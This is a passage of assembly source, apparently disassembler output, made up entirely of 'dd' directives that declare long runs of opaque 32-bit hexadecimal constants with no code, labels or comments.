79032EBDh, 3970AA16h dd 0F709F0BCh, 6573B758h, 4D69FA6h, 0F2AAF37Eh, 0D9D02F7h dd 71685C1Ah, 0F336A57Dh, 0F7A278CEh, 5A12B2E2h, 8B085799h dd 0EF90A718h, 862709E3h, 58B45E85h, 0BB1C4702h, 0EE685F1Bh dd 35869A95h, 5C088049h, 15E54DAFh, 8D0FFC12h, 532B398Dh dd 15B504ACh, 86B25207h, 276F92h, 0CCBBED6Eh, 1658C5C4h dd 0A8F35EE9h, 0EDC12DD8h, 0FCE1C52Eh, 74222727h, 0B5755A89h dd 30960046h, 9807E8EAh, 2FBB5C02h, 40451621h, 99BD73Eh dd 0D98B90F9h, 0B5609A54h, 393F3836h, 0D6802CC2h, 0B1553E8Dh dd 3702B711h, 0E6362BBCh, 0DC715C90h, 90D17708h, 0C9F51572h dd 0E856AD4Bh, 9F820009h, 120C2CC9h, 8E5938EFh, 58B54F5Bh dd 0F093E62Ah, 0A23F8269h, 28C90E8Eh, 73E2412Dh, 0BC966DE4h dd 0E82C00E5h, 36F3CA69h, 997345Eh, 8937F7F0h, 0BCC13002h dd 0F484750Dh, 57900526h, 0B1E3CCh, 61F9D97Dh, 0DFA8BACEh dd 1DB9F40Eh, 505FA58Ch, 0D915CDAAh, 3F2B2981h, 9490AE51h dd 873C8009h, 2D98DEC5h, 3009D351h, 58166D9h, 22E6A3EBh dd 2EAC964Bh, 0E1E05CADh, 8345B1h, 0BF39814Fh, 48C88E36h dd 95BD8B13h, 259C71C6h, 1AE6BA0Ah, 55BD0909h, 5A105E1Bh dd 2FD4525Ch, 3087FD1Bh, 7EFE3660h, 616B8160h, 4B23D1FFh dd 2ED4A59Dh, 0E1462628h, 84E2DE3Bh, 3E817383h, 6A002F05h dd 0BF03F502h, 332920Eh, 5B9FB150h, 0AB380CC9h, 134FE35Ah dd 52AB9D0Bh, 10D6B6B8h, 0ECE20CC9h, 416F6C42h, 3FBE5640h dd 0F7EC1208h, 2578B8F8h, 0A9F57318h, 0EB16801Eh, 0F856E10Fh dd 3C05E807h, 0D4903826h, 0BEBF4565h, 9E884087h, 0C1005E4Dh dd 0B6FA8C22h, 2697F0A6h, 0B4F25018h, 381940FFh, 4C429571h dd 5510F301h, 0F0807573h, 97FAAF30h, 0FD35D509h, 18831611h dd 7E31413Dh, 1D9DECFBh, 66F6392Eh, 406DB05Ch, 0EF3A97D1h dd 0BD44E5Ch, 0C9BD33DEh, 0CBE460ABh, 0AD7B381Fh, 337277C1h dd 5666FF6Ah, 8AE0D0F2h, 7B9D1B41h, 81DCD380h, 2ECB2FE3h dd 2919FC62h, 8F3F658h, 2D851229h, 31D3A931h, 70E6DF05h dd 144BE43Eh, 1715B9Dh, 1B24A1B4h, 0EFC13EC4h, 0E4012681h dd 0EE482E71h, 0CF02BFE1h, 58FFB41Fh, 2E0089C6h, 0B917BEFEh dd 99F6AEh, 9CF85A6Bh, 1EAC7286h, 2320BB12h, 0B7BA09F0h dd 8FDD118h, 8109C082h, 368701D3h, 0DFBB7C7Fh, 2F6BE933h dd 0BDE81119h, 0E47299A7h, 31442DF2h, 0A0E49DC8h, 394AB500h dd 0C05297EAh, 0CB9E015Eh, 8FC9709Ah, 1F1C2F0Ch, 4FBCF8D6h dd 27A85C9h, 0A177DAFBh, 37E38003h, 0DE63D32Bh, 0A4A00A70h dd 244A39BDh, 172246F6h, 8495F197h, 0C861BD01h, 7DA03E2Dh dd 15F3F595h, 0F00825BBh, 984A5CC2h, 549E38F2h, 0FE3114A5h dd 692EDDFEh, 95940DEh, 3BF58D5Fh, 2B453EB8h, 2ACED60h dd 0F87CD6E4h, 83BF023Ch, 5C4AFA47h, 0B9ECFDDh, 8029A1B9h dd 0A6807C37h, 5F9860F9h, 0D4099756h, 8C78F6Dh, 0F04862F0h dd 252112B9h, 20D4EC56h, 0FC5B2F1Eh, 0BFC0506Dh, 27B7B294h dd 4267B82Ah, 2C601BE4h, 0B139E640h, 0C0158D5Ch, 0E62F1FBAh dd 0E56DF0DCh, 12625F75h, 0A039B908h, 82074D9Dh, 0DB4B035Ch dd 5D8F706Fh, 0FABE6B03h, 4AF5F210h, 4E3BA830h, 0F381EF70h dd 4B2012CAh, 6E2EF538h, 15879CDEh, 0E67F241Fh, 999D0990h dd 78357921h, 0B5269D2Bh, 0C4E0E62Dh, 0E411D220h, 0CA724B78h dd 0BE642203h, 5A012B10h, 0D536418h, 2FFCA84Fh, 4B77B64Bh dd 86F228Dh, 0FF0B15FBh, 1598D6E1h, 304BE25Dh, 8777D914h dd 0D6F07F04h, 31BFCD08h, 3B45C5C8h, 4D81650Ch, 8A614B59h dd 3F713F0h, 0AE894FDh, 78127973h, 6F2F8F5h, 414FE48Dh dd 7B19EDC5h, 6986B62Ch dd 2BDC829Bh, 30D89DDEh, 13778497h, 0C837600Bh, 8D89CC81h dd 0B80421C9h, 0BF04733Eh, 0E180A359h, 1CD36FEFh, 5C440260h dd 28BD0FA9h, 2D7C4D27h, 0D8060FF6h, 1A61CDADh, 28662B4Ch dd 0BB8044ADh, 0CB30D609h, 59257B3Bh, 15181Ch, 43875BD6h dd 0F2905139h, 600A9A97h, 822FE9D1h, 64F14AD7h, 5390B7B3h dd 85008FB8h, 283B3DBAh, 59F024h, 0A76EB950h, 615A310Bh dd 9FCC2EF1h, 2E37B790h, 6E939D00h, 28685611h, 28DFF010h dd 4E8FD444h, 3A9EB515h, 80F042E6h, 897BB723h, 0B891360Bh dd 0E1878282h, 5968002Ah, 2EEFCB9Dh, 6B5EE71Fh, 5A007650h dd 24348158h, 0D42F9EA6h, 0C4DACD2Ah, 518AFE95h, 0D92313Dh dd 4805B71Ch, 0C6DE2559h, 0B9C69FEBh, 44558982h, 167209Ch dd 8909B1B0h, 713A2F26h, 96F4A7DAh, 11A404C9h, 7FC3B112h dd 9427A07Bh, 516BD440h, 56E41A97h, 14FEEBC5h, 0F02F06D4h dd 0B2E4DAA6h, 0BB37E8BDh, 330905E5h, 0E6068971h, 8751E018h dd 2E7024A9h, 59B552B0h, 0ECA8E180h, 90267497h, 77E697A0h dd 72EE8407h, 0EC33C644h, 8765B801h, 359100FDh, 4517BB66h dd 0F84B8B61h, 0CCB3E085h, 0EBB41200h, 29B19D05h, 674F3900h dd 79A75DF3h, 40476206h, 0C5F2D02Eh, 59D78102h, 5C33059Bh dd 1C506BB1h, 9681F40h, 24C98BF6h, 3B1F40Fh, 20B96660h dd 0D0F2A721h, 9754861h, 98D67488h, 4E4AB7FEh, 826B8F56h dd 22191D93h, 56F45790h, 0F1DAD541h, 13DEC4h, 0CBD88493h dd 0BB505F8Ch, 5E49D0EBh, 9D019004h, 7E8B1FCDh, 6102BF3Ch dd 8D29CBB7h, 184A6A43h, 0E6595CCFh, 0B800AAACh, 9ED2C775h dd 181A697h, 0EF20D7EBh, 0A78B566Fh, 5F650498h, 22A2A1ACh dd 46E014D6h, 103B85h, 1C6DB04Dh, 39BDCEBAh, 96FC7B00h dd 2EE9B2D4h, 4E5F74F8h, 0D2C7B81Eh, 4BBA6AB3h, 0AA2FC16Ah dd 2C016A37h, 0F3DADFCEh, 0C9E055E2h, 5F4BB5E5h, 9034798Ah dd 0E29CAA5Bh, 0D410B5DFh, 7C01EF16h, 0B447C55Bh, 90C8FF8Eh dd 0BDECA569h, 86D456Ah, 8028090Dh, 9630392Fh, 603CAD82h dd 0A87175EAh, 5D79DC09h, 0E782D425h, 0E02D9835h, 975BD8F3h dd 83F2C11Bh, 398517A1h, 0A219BB29h, 0EC504E08h, 595BC983h dd 8CACBEFBh, 201C204h, 0DE50BE5Ch, 0F511650h, 5786D18Ah dd 4B962A5Bh, 0ED614D78h, 0DE2E8845h, 175DC00Eh, 4B15614Eh dd 3F7C8DA1h, 0D0805DF3h, 492BD531h, 0A49A1705h, 20B8F615h dd 0E95B1825h, 83181879h, 0DED69E0Bh, 95C7C6Ah, 9271EBF8h dd 49B290A7h, 0AEBF0096h, 0E2844D1Ch, 3D12AC67h, 9FE3938Dh dd 96DA4650h, 5FBAFADh, 972E6BD0h, 0BD299600h, 64951FB5h dd 952492EBh, 0B8B4D14Eh, 0BDDA65D4h, 0B00DB7B8h, 0CECB5DAFh dd 4041DBF8h, 0A0564B12h, 354AD54Ch, 0A0B9F384h, 18C1BACh dd 3629E42Dh, 6F7D74C4h, 6A9A981h, 9BD2F86Dh, 0D9EA80F5h dd 4A96F608h, 0CE9BED60h, 61C243CBh, 8DE2FF50h, 0B0602005h dd 2BFBF82Dh, 4FE93FDCh, 82F29E28h, 615497CCh, 9065790Fh dd 5D6C282Bh, 60A6CF95h, 5DE860E9h, 70FA1E04h, 0FC12269h dd 500217C9h, 0D14737E0h, 37BD019Ah, 0ED2E1FB6h, 16BFA460h dd 89EC8A7Fh, 127D9512h, 0C5600928h, 0F4231180h, 8625DC74h dd 0ACCB5B61h, 5E04D6FEh, 0CBD6C508h, 1D88E6DBh, 471055C0h dd 0E3780119h, 59BB3D3Ah, 0A5473123h, 4F6B66B9h, 0C4B0AD52h dd 5B092F05h, 15445271h, 0CF815640h, 691209A2h, 17E35F05h dd 0F052C625h, 9695B171h, 90794EAh, 5C817DFCh, 0C6FFF488h dd 9A70D373h, 0F96F2713h, 7509CBF0h, 56C18B37h, 0A07E6975h dd 0D445B860h, 10C9057Bh, 0C0353A2Bh, 1853145h, 8BF70561h dd 0F827D8Dh, 0A7C78061h, 91F1B5D5h, 71A7801Dh, 709DD4Ah dd 7039F0C8h, 0EB60C51Eh, 0B6F23E20h, 546052Eh, 0BF3F27CAh dd 0B55F20CCh, 7A80306Ah, 5BEF97BFh, 0FDF58ACEh, 2DE49EB9h dd 0DE727425h, 712CBC00h, 0A9A173C1h, 0F2D560B7h, 7E48320h dd 0C9E1CDADh, 0A768E991h, 985B0825h, 404B6D27h, 0D1910119h dd 3D7FEA00h, 0A0E28160h, 90E2F93h, 6278E964h, 128FAF00h dd 89E71EC0h, 428604ECh, 0A810B81Fh, 9FD98772h, 0C030C3C7h dd 0D37C6AE5h, 22520078h, 615B24A6h, 0B70BF55Eh, 45D17E07h dd 9BC424D8h, 74FAC299h, 4AE1819Bh, 6F3A6AAEh, 0E3007FF8h dd 557D15D5h, 0B50CC57Eh, 29844B71h, 13B19D85h, 48BF1330h dd 67C034D7h, 18CA6C37h, 0C709702h, 57D9B503h, 6A615068h dd 0DEE3B6h, 70C19CE9h, 9ECC3576h, 0DFBF6902h, 0D77A17FBh dd 2F1F333Ah, 0D41B1480h, 42A2DE1h, 8BB67F1Dh, 0D226B9F8h dd 4EA8ECF9h, 8F0FD114h, 0AF07969Fh, 2C831DD3h, 9D30F5FFh dd 57592CDh, 3630529h, 3C2CAE9Ch, 0E33D9D57h, 2ECE9A9Eh dd 0A2E3EB64h, 0E0026AD1h, 822B75ADh, 0D912AD54h, 0EEDB4357h dd 1CB78C82h, 91C23E5Ch, 2A201C0Dh, 9D231283h, 0A029B101h dd 0FC4A13E8h, 0F927F7B6h, 6C60AFDEh, 19A5BA5Dh, 0BA5250F4h dd 3D5C69D8h, 3A275E5Fh, 0B3F9EB80h, 9D1E0036h, 0F52A359Ch dd 0CC0B5382h, 8A967DDCh, 0CD019DD7h, 905F5B7Fh, 2DB80429h dd 4C155F26h, 2513B108h, 2BD3C6Ch, 5C462B54h, 31A2C91Ah dd 4DD7B194h, 0E7666AD4h, 0FB84D091h, 0FE1447CFh, 98E1995h dd 0EDFF6ADEh, 0E73FC0F8h, 0A40B5910h, 820C53C2h, 571BF523h dd 304024CFh, 0B341D71h, 0AC9C53Dh, 57131484h, 0E70044A2h dd 6E57458Dh, 0A594A12Dh, 5B251A10h, 27451DCCh, 292380D6h dd 108D68h, 0C19596EFh, 0F5B6EB2Fh, 19524607h, 0FE042C1Dh dd 0BAEDC880h, 0E03B4A58h, 7025E62Bh, 47C0DE03h, 2DA5AE4h dd 65776837h, 0EE941E5Ch, 0C5EFC3DDh, 9DA0255Eh, 0B597889h dd 16D9A44Fh, 0ABEF8125h, 4122E8Fh, 12BFF688h, 13256367h dd 2A9C299h, 959E0D5Ch, 0B0931CD0h, 53C121F8h, 0B53360D1h dd 0A46C08E1h, 8D280293h, 0B3FD10EDh, 11B5D9E7h, 0A5854741h dd 0A2C4A454h, 0F23877EBh, 0F42F242Dh, 6E0E40CFh, 2A1D3706h dd 542857ADh, 3B5FCE01h, 661218BBh, 1223E44Eh, 98405789h dd 127579DBh, 884BE95Fh, 0A5E14D0Eh, 4CC65E93h, 254ADD58h dd 84C477B8h, 0D1865730h, 0E4D4D2F3h, 0A55083C8h, 0EC90FE21h dd 0A19B4B28h, 7A747582h, 8211B762h, 0D7263194h, 0ED1E6314h dd 0CDEFE40Ch, 0DCFEC061h, 85513077h, 5CF17EF9h, 24D6F7Bh dd 9E50A51Eh, 2DABF405h, 74A5850h, 864E4EE7h, 8B95191Fh dd 0F4A77E74h, 2CD3430Bh, 9526DFDEh, 954D5E53h, 0C25F256Eh dd 0E0544D7Eh, 976CD27Dh, 1971F402h, 0CDFC5572h, 0AB84E53Ah dd 15239F6Ah, 2DB5409h, 2AB927h, 5AE452BBh, 0D2BA3326h dd 59B98B64h, 0B80CF9A4h, 3F7200CBh, 0BDCDB45Ch, 3364EEF6h dd 98AF3186h, 6B3CC5D5h, 6F168086h, 0EBB7A50Fh, 0C7D7505Eh dd 2E294145h, 46B430CDh, 0A5A0AC18h, 1200026Bh, 2C033342h dd 8662EAEEh, 5C22E974h, 38B4EA9Fh, 45518427h, 0ED45BADh dd 0E8D0A9BDh, 8DE32B80h, 0BB9F78ACh, 0CA51F301h, 0FC85C14Bh dd 2ED11031h, 22EF8E6Bh, 95313E67h, 0B05F16CEh, 1644D973h dd 61CA24B7h, 35526C35h, 0DD2A1441h, 0E76A7EA7h, 0E1FFF109h dd 5DC05D6h, 5F0C470Dh, 0BF0C807Ah, 0FC256AC2h, 0B9CC55Eh dd 0BC5C0433h, 53F64171h, 0D187D02Eh, 5D2DEDE0h, 957FD0F1h dd 0DA459994h, 415DF760h, 0DF073025h, 604B337Eh, 4A007B6Eh dd 8531E1D8h, 0F1950571h dd 6ED42F67h, 0D4DB54EBh, 0EB0BDB02h, 5C511E22h, 0F37625A5h dd 0E7F99FDCh, 0A29E10AFh, 73D7F52h, 5008639Ch, 0A0F2703Bh dd 1105C202h, 9D17B2E2h, 8EC08FEh, 0C4E45F12h, 54C38A11h dd 0E60B30CAh, 0A5A2B9EBh, 35AF875Bh, 902A0968h, 60502140h dd 61015372h, 0C87FB85Ah, 90DD5863h, 3E89642Ch, 30D6D700h dd 776571AAh, 82EFFE3Ah, 9D9B99Bh, 6089F927h, 427CA32Dh dd 7688504Eh, 523707EDh, 36C4A2A0h, 0A798A38Bh, 411D6B4Ch dd 80BE2CEDh, 7B2651B7h, 0C98D0043h, 0B42146C2h, 5009F5F0h dd 125B638Eh, 65DD5627h, 0E06CF658h, 92CEBFDh, 64CA30B6h dd 0ED9F6AD8h, 631AC42Fh, 28B1C0DBh, 85CC25CAh, 81007273h dd 0E97446EBh, 0ED014B8Fh, 4C83815Ah, 0C0FC2922h, 0B8FE2520h dd 0FC4A88C6h, 0BD1240E6h, 0AC0D8469h, 0CF81C062h, 4B71FFFBh dd 29689D58h, 359DA888h, 0A5C2EB30h, 0FD16A10h, 3031A69h dd 223125B1h, 0D8BFC562h, 1CEC7BABh, 5E4BD756h, 6920FC6Bh dd 258A72E3h, 3109ECD8h, 56169D8Dh, 0A160E4D3h, 0C28889A2h dd 96581661h, 374B4045h, 2D536C70h, 47950FC6h, 1C2380C4h dd 16B1790h, 0CDBF505Fh, 2213164Fh, 5E484B65h, 5AC625DFh dd 0CEA4C695h, 0FC168B04h, 0BADE87F2h, 2FD27EC0h, 0D3740032h dd 0B560768Fh, 74916136h, 800DE888h, 595365B2h, 69744915h dd 0C1194DECh, 4769637h, 0D18F0F14h, 23585F81h, 2E05C5BDh dd 0E7878374h, 44DA319Dh, 6DF8E044h, 2104B650h, 0B7BE8813h dd 530C32EDh, 14004259h, 0B5E88862h, 0B25B4ED0h, 4BE65FC9h dd 0E22BF8E0h, 0D7809409h, 55C13212h, 3C8428B7h, 20BE367Dh dd 0AACCA143h, 85D19Dh, 0FD6642F7h, 0F912DDFAh, 0D4E2F22Dh dd 51CBBFC0h, 949516FEh, 0E8E2B7BCh, 0DE82DEh, 4D2EDF82h dd 2DDA59EEh, 74C51524h, 3820211Ch, 0B74F3DE9h, 5703A02Fh dd 0B199098Ch, 0D871536Dh, 8EDB2DDDh, 255D4350h, 0B4C5DC8Ah dd 0CFB5743Dh, 17454065h, 290993C6h, 0D0BFD99Bh, 0C947B52Ah dd 5309A691h, 4E5C5FF8h, 2ACD9DC1h, 0D0A1DB6Ah, 59DFC477h dd 5ED819B8h, 3897344Dh, 4D38189h, 69F782E7h, 0C820AE96h dd 4A8A69Eh, 74C3153Bh, 0B94A862h, 46968018h, 653B07B9h dd 30EFFC42h, 952D5A2Eh, 8C739601h, 0CEBE5755h, 95B55720h dd 215B5E85h, 0D497BF79h, 77B06A26h, 0E8A49B09h, 0EB115C0Ch dd 6B4094CDh, 2219E94h, 0D7A1999Ch, 86A90178h, 4AF67E5Eh dd 928BE857h, 9EAC12C4h, 0E3E781C0h, 1B4B6BFFh, 2380928Ch dd 0BF0134D3h, 71C75951h, 0A67A172Eh, 9B0DE0A2h, 0CA8B017Dh dd 958903CDh, 20016B25h, 88DB529h, 81A2302Eh, 0EB4B90DBh dd 0F379A49Dh, 0E7B22BA9h, 0EE827514h, 0B821E112h, 6EBAB422h dd 0BCDE00D9h, 8BE53180h, 64B595FEh, 6801891h, 0BD957ACAh dd 1B88605Eh, 0E4667D5Dh, 0AE5995B9h, 37FC42Fh, 0BB75D45Fh dd 0B8D02251h, 713E615Ah, 79BC7410h, 0CF00AC68h, 8B5019A3h dd 6D69B5DAh, 28DA2AD9h, 0E6C414C8h, 0D6D1AEB9h, 0DF02CCACh dd 0B10E0C08h, 0BDCFE0F4h, 0B21C9718h, 0B16E4145h, 96066436h dd 1540D2B6h, 12F20BD4h, 0A2C44A2Eh, 3F3B0097h, 8AF35E6Fh dd 2E07030Eh, 0C9C01385h, 4D56DE2h, 1FD15F22h, 902550Bh dd 3A88D420h, 5D5B0374h, 0F9D093DFh, 0AC9FBDB4h, 0CE028C19h dd 0FC178BE8h, 917C6112h, 0B16AF7A5h, 4CBDD7h, 60FDE4F1h dd 8809A2BCh, 7B5E5DA8h, 1B98988h, 0E33D55h, 8FD7DE8Dh dd 3D5C6B4Ah, 0BC8012D3h, 4488A3E2h, 14ADE0B1h, 2CE68004h dd 704BCD52h, 0D8D8A78Dh, 6A8F9F57h, 89171FC8h, 617A20FEh dd 0ABB4C65Fh, 95E572F4h, 0FCAFBC67h, 9716D4ACh, 0EEB384AEh dd 0DDBD884Fh, 6F599D00h, 9E6ACF88h, 46E609BFh, 0CE5682E9h dd 0C111ED25h, 3067A6B7h, 5605EE95h, 810F92DFh, 0C1246EA2h dd 9700DEC0h, 61F407C4h, 5814B83h, 0E38A87CBh, 0CDDABA25h dd 16C02ED0h, 8DAE5E10h, 3681064Eh, 222A1C05h, 0AB2EFEEFh dd 0F4E454FBh, 6D325B26h, 0C48D9589h, 187BC11h, 0E78064B5h dd 47D08274h, 5D07E492h, 700278B7h, 5CED6672h, 0A99013F0h dd 0D4DECB2Fh, 0BB443F1Ch, 0E15EB809h, 98E25020h, 9BD0CC0h dd 0BF1027ACh, 0C72FFD79h, 0C9B0F63Ch, 5DC48C74h, 0A3931227h dd 8CAA6004h, 0D04F8BB3h, 0F2423C20h, 31DE00DFh, 5DD2B47Bh dd 1A042B30h, 75854021h, 6F1C13ABh, 8283007Dh, 143C161h dd 0B3794A9Dh, 0F66FC93Ch, 0E8E2E0D6h, 7900CACFh, 0A2EB203h dd 258496ACh, 4AD4026Ah, 0BA8B39DCh, 0E5E0B380h, 27A1C94Ah dd 5750F813h, 255F68BDh, 0B48BFE66h, 290CD94Ah, 1E3D70AEh dd 4E4900A7h, 0CFF130E3h, 1CF9B7DDh, 41C1BF80h, 4BE91D89h dd 10278EF7h, 89049251h, 19268D9Dh, 0AA140D0Ch, 0A2D3E9Dh dd 744C21A8h, 658D16D4h, 50FC1740h, 2AA0A8BFh, 0F08101CCh dd 0B9CF16CDh, 0C70FAD7Dh, 5619098Dh, 1C46F419h, 1595700h dd 3A39FAD1h, 0FC680B3Ch, 345DF2C4h, 0E3325B0Eh, 79D75028h dd 0DDF62A45h, 0F900F237h, 19C58D67h, 0AEFF056Eh, 0C866555Ch dd 6DC9DD6Fh, 71EE54F5h, 2085EC29h, 518B8184h, 70E6D150h dd 0DCD70481h, 0AA7D3B1Bh, 0F58017C2h, 9A78FE5h, 557662EAh dd 8495264Eh, 0C5AC05C0h, 430AE984h, 0F8218D0Bh, 12F06C85h dd 0B366FBBDh, 0F99508D4h, 0CC60450Dh, 0B425B54Bh, 6CF25EA4h dd 5874F0F6h, 2CA5B909h, 0CAA17561h, 3F912DBBh, 0A0D3DC80h dd 0BAB3B8ACh, 0B2615A89h, 2C511008h, 39C32E98h, 0D104CC7Dh dd 130D8529h, 0BF6C63ABh, 509981B0h, 0B120E5B0h, 8D091C08h dd 0F8516D2Dh, 31859D84h, 108C4835h, 0F4CC4B25h, 0B49E946h dd 5C71B727h, 798469B1h, 16075604h, 8AA45B61h, 9D8235A8h dd 0D1562B6Dh, 34F22C4h, 0FD75C1EDh, 0FE2B42A5h, 82989285h dd 63889547h, 12F20BFEh, 0C3532F09h, 0E4174104h, 0EBC89BDh dd 0AE8B3100h, 0F894FD70h, 2BB8BD86h, 48211F1h, 0B0E239C9h dd 3856F825h, 40354DE9h, 78DC19B3h, 7C03CC27h, 0B589406Bh dd 0B9811AE5h, 275A82Ah, 283C82BBh, 2FAD561Fh, 0C614D9B7h dd 276D03F6h, 101594D8h, 2F2EEDE2h, 70FB53FCh, 5162F7D0h dd 531994Ah, 7FD8FB5Bh, 1581209Dh, 0D52D2B76h, 3D3F5331h dd 0DEFDD2AEh, 0C0D24900h, 120AACDEh, 0CFC24A8Dh, 61B140C3h dd 7CCA064Ah, 8AF03B43h, 0AC0322A1h, 5287B46Eh, 0CDE41390h dd 0B40BB833h, 4300303Fh, 6B9560ECh, 72E275B6h, 1F81F391h dd 0E53226E6h, 4A2D9030h, 0A27BAC2Eh, 5697D5FBh, 0D4C2F4ADh dd 0A6D87900h, 0DC9593B2h, 55FCA054h, 176FB534h, 4A4DB240h dd 0D36204A1h, 82FAB37Dh, 0FC2001C2h, 4A8DBD29h, 22D0CE08h dd 2017908Ah, 0FC381DADh, 899E4FB8h, 3C70E7C0h, 0B64A9EE3h dd 7CD35D04h, 9AD2E6ADh, 9D87857Ch, 84EA20BBh, 7E01DF52h dd 0E5D8CE2Fh, 0E0FA78F2h, 137A60A6h, 849073h, 0A45130FCh dd 0E15CFF18h, 2C78C08Eh, 116FB0Dh, 7441CB3Bh, 0E46E5D38h dd 0BE2523F9h, 13F365E2h, 0E6D957D2h, 56E3E042h, 1989257Ah dd 0C01113C5h, 0F065F825h, 4D1D7C1Ah, 0C1C8E793h, 2B8654FCh dd 34751D81h, 319CC104h, 0BC0F1319h, 92CAFBh, 0B863CCA8h dd 95603594h, 0DA00BA37h, 75AF147Ch, 0FCDE25A4h, 0D9ED1DC2h dd 0B5419AC0h, 9C38498Fh, 8B950820h, 0DCAAD622h, 79658001h dd 3C76F934h, 8A04482Eh, 90B7AFh, 747FEBE6h, 0B51009CEh dd 72480E21h, 0A71B7512h dd 0BD3104C8h, 0CBAA1689h, 6B64AD9h, 0D65245A0h, 91323A00h dd 812F957Ch, 176BEECBh, 0FC505782h, 28205B7Eh, 5AD24Bh dd 0FA8DDA39h, 65CAB3CDh, 0DCB03B3Eh, 0EC02161Ah, 755FF8F8h dd 573829Bh, 0F84ABA20h, 0D46B5AC9h, 0C0DD9BB5h, 0F3BEC291h dd 0F99A0B6Ah, 2CF0D6ECh, 4891A52h, 1911BD09h, 4BF3CEAAh dd 0B18D1C20h, 0F73000B9h, 0EDC8FC75h, 2B042E55h, 786E8808h dd 0E5DFDAE0h, 83B3898Fh, 14F2FC13h, 9EB3FABEh, 958F882h dd 27CA578Dh, 35E94356h, 0E4758C63h, 0D3B8DA68h, 0DBAD852Fh dd 6BC2D8AFh, 0CFD9F53Bh, 72B3BE8Ch, 0E95A0995h, 3DD701C9h dd 0FB600E64h, 2E08F136h, 7DB1FD12h, 8B7B7Bh, 9401D2B0h dd 258D31ECh, 1F73047Dh, 0A8181D79h, 3BC27C00h, 0E0BF48C7h dd 0B4C55031h, 3A789F06h, 0CFB7A95Fh, 7CE0C8B1h, 8AC09DD7h dd 98331175h, 48734CB8h, 4A60E85Fh, 0B04F57B6h, 0CA13BC83h dd 8F9B0689h, 0E685482h, 42B41A6Ch, 0C04A2D10h, 70EB81E5h dd 1F52EE16h, 0A8CD16AAh, 37ADCE5Bh, 299D9691h, 0E3605F24h dd 961185ECh, 8D611324h, 8F04704h, 0B4B6DABEh, 0AB3019B2h dd 9C270921h, 33805EA7h, 0EF48C668h, 0F60B60Ah, 0BE85588Dh dd 20EB2CF5h, 6746F0C6h, 27C7B00Fh, 3E83E1D2h, 13EC9473h dd 2B0B029Bh, 61CEB977h, 39C080D5h, 0BC492FBBh, 1E00DC39h dd 673CD488h, 137DDD96h, 0A68DAE2Dh, 0D0EF0015h, 92BB50CFh dd 2B312636h, 0B14A47Bh, 0F86B0869h, 1A651BC2h, 0A8A4BF00h dd 0A0611359h, 9515B5C7h, 0EDAD47CDh, 433E47BBh, 25A854A7h dd 95122931h, 8FB30639h, 0B8D54E89h, 76DF28h, 0DB34538Ah dd 0B36630C2h, 0F9673501h, 50E9A777h, 0C0C39E3Bh, 0BD29E81Ch dd 0A805E735h, 941222EEh, 0A5846F7Bh, 92B31205h, 0D8DA5ABAh dd 0C9609080h, 1801F69Fh, 1519CF3h, 946A6DB5h, 0A29EAC35h dd 0D13D5FF2h, 0A26DC682h, 0BE05450Fh, 0BF664BE0h, 0B3BEC4D8h dd 0B1DA9E2h, 1C12365Ch, 31C991ADh, 0B8262584h, 94F3A078h dd 62DC0B3Bh, 24925096h, 9B404576h, 17779808h, 974837Ch dd 5AFB962Eh, 4ABBB270h, 0C862DA84h, 0DB3DC01Ch, 35053495h dd 5D2D5232h, 4E11BBA0h, 0E831A930h, 0B15F0A29h, 0EE5347Bh dd 9D82FBBFh, 0A9DA1705h, 0AC12F929h, 996A184Bh, 7D6103A6h dd 3E81FA89h, 802725B0h, 2EFDB209h, 0A48F7143h, 1F89A7F4h dd 40A58F59h, 9C578DA1h, 0A85CAFB4h, 0FE2209F4h, 906344Ah dd 89954B79h, 0A164E6B1h, 8C2BC1F7h, 9D750131h, 90B7165Ah dd 0CC4AB658h, 0BD14016Ah, 27512AA1h, 14927C8Bh, 9B59F1FBh dd 0F7127AFCh, 4FACB3Fh, 0AB1229A3h, 0E27EF576h, 6E968131h dd 7808B896h, 407CB6FAh, 0D9901ED3h, 70F91602h, 5CC18E5Eh dd 1946D647h, 901D3501h, 7F5A6D0Eh, 258D6A02h, 11457E0h dd 0D0583A93h, 0B4A90233h, 0A6017478h, 72D452E8h, 79506027h dd 615F8904h, 75445D71h, 3DD7F257h, 40311FAAh, 7AAD5F40h dd 369A43Eh, 0FC473DEEh, 0C21048A2h, 5B2F1951h, 82002764h dd 0A5F1664Eh, 7023F479h, 4BE7008Bh, 0EB9E7E6Ch, 155F4457h dd 5EFEE4C2h, 0BA76441Eh, 2DA8D98h, 8B1AAD7Fh, 9DF5ACEh dd 787ADB15h, 2801350Ah, 6141BBAEh, 9A6B3B29h, 0C12AD02Bh dd 0D8CD1107h, 3582816Eh, 63A73B30h, 251EF7A7h, 9E90FFB5h dd 93C8D380h, 1818713Ah, 0CE8D0B66h, 0FC549A4Eh, 20BFDFE4h dd 43054944h, 95583700h, 46351013h, 25149692h, 0B325C766h dd 11A3C503h, 8B69765Eh, 0DB46D7h, 2344656Dh, 7F5403DBh dd 42A36700h, 0BA2A78DAh, 0BF51024Ch, 137697F5h, 6D603257h dd 0DC18E087h, 891333C9h, 615DB18Dh, 2FDD9DC4h, 568B21AEh dd 9265E909h, 0BDE35B6Bh, 7366AD7h, 0FBA3FA0h, 96F91470h dd 0E1365F2Fh, 0E98189BEh, 278955D5h, 4DCF097Dh, 0A25CC08Ch dd 0EA1FBC68h, 28813D3Ch, 0FB89BFC6h, 122E34FDh, 1FDEAF8Dh dd 0AC8D7285h, 0B35009D1h, 0F486420Dh, 6C0FDCC6h, 0FB873931h dd 0D9563A40h, 0CA6EAACAh, 0DD3C8A01h, 6BE0845Bh, 202AFDE1h dd 0E4A22059h, 0D995A2B7h, 2A6B7562h, 2699D7C0h, 0F88A5015h dd 0B1EE867h, 0E14228F9h, 255F6AD0h, 0B556929Ch, 636D0362h dd 4375CCE0h, 0F90F25A7h, 8081B757h, 43D4AD69h, 81B7E274h dd 25D59D2Ch, 80B1B92Ah, 0ABA810BBh, 0DF1A971Fh, 1831A59h dd 283105B5h, 12A6D13Bh, 0E242D3E7h, 0D99D8BABh, 26A89FFh dd 0B8806F37h, 0AD82975Ah, 0A3861D7Fh, 0F3902D53h, 0D81FD54Ch dd 0AD07B9D2h, 0CE4004E6h, 17D00F74h, 0C74D4E0Bh, 900B88BDh dd 0DA8D8352h, 67828C5Fh, 254FF830h, 6F1200Dh, 5038D369h dd 0B00672A2h, 0EF85B2F8h, 2A312F7Eh, 27C024D6h, 3C0222h dd 85D46F95h, 2109C451h, 0CE820F2Ch, 5762E962h, 6EAA001Eh dd 4072B3D3h, 2553CA08h, 5E54FC74h, 7B5397DCh, 1271118Ch dd 0BA84127Fh, 